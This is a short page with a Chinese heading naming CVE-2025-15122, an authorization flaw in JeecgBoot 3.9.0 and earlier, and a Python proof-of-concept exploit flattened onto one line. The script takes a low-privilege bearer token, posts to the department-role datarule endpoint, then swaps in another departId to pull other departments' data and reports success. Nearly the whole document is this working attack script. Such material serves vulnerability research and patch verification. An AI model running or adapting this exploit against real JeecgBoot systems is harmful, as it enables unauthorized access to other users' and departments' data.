CVE-2025-15122: JeecgBoot 3.9.0及之前版本loadDatarule函数不当授权漏洞

import requests import json # CVE-2025-15122 PoC - JeecgBoot Unauthorized Data Access # Target: JeecgBoot <= 3.9.0 # Endpoint: /sys/sysDepartRole/datarule/ # Vulnerability: Improper authorization via departId/roleId manipulation TARGET_URL = "http://target-server.com" VULN_ENDPOINT = "/sys/sysDepartRole/datarule/" def exploit_cve_2025_15122(): """ Exploit for CVE-2025-15122 Attempts to access unauthorized data by manipulating departId/roleId parameters """ # Normal request with low-privilege user credentials normal_headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" } # Original request (should be restricted) normal_payload = { "departId": "1001", "roleId": "2001" } print("[*] Sending normal request...") response = requests.post( f"{TARGET_URL}{VULN_ENDPOINT}", json=normal_payload, headers=normal_headers ) # Exploit: Manipulate departId to access other department's data exploit_payload = { "departId": "9999", # Try to access different department "roleId": "2001" } print("[*] Sending exploit request with manipulated departId...") exploit_response = requests.post( f"{TARGET_URL}{VULN_ENDPOINT}", json=exploit_payload, headers=normal_headers ) if exploit_response.status_code == 200: print("[+] Exploit successful! Unauthorized data access achieved.") print(f"[+] Response: {exploit_response.text}") else: print("[-] Exploit failed or target not vulnerable.") if __name__ == "__main__": exploit_cve_2025_15122()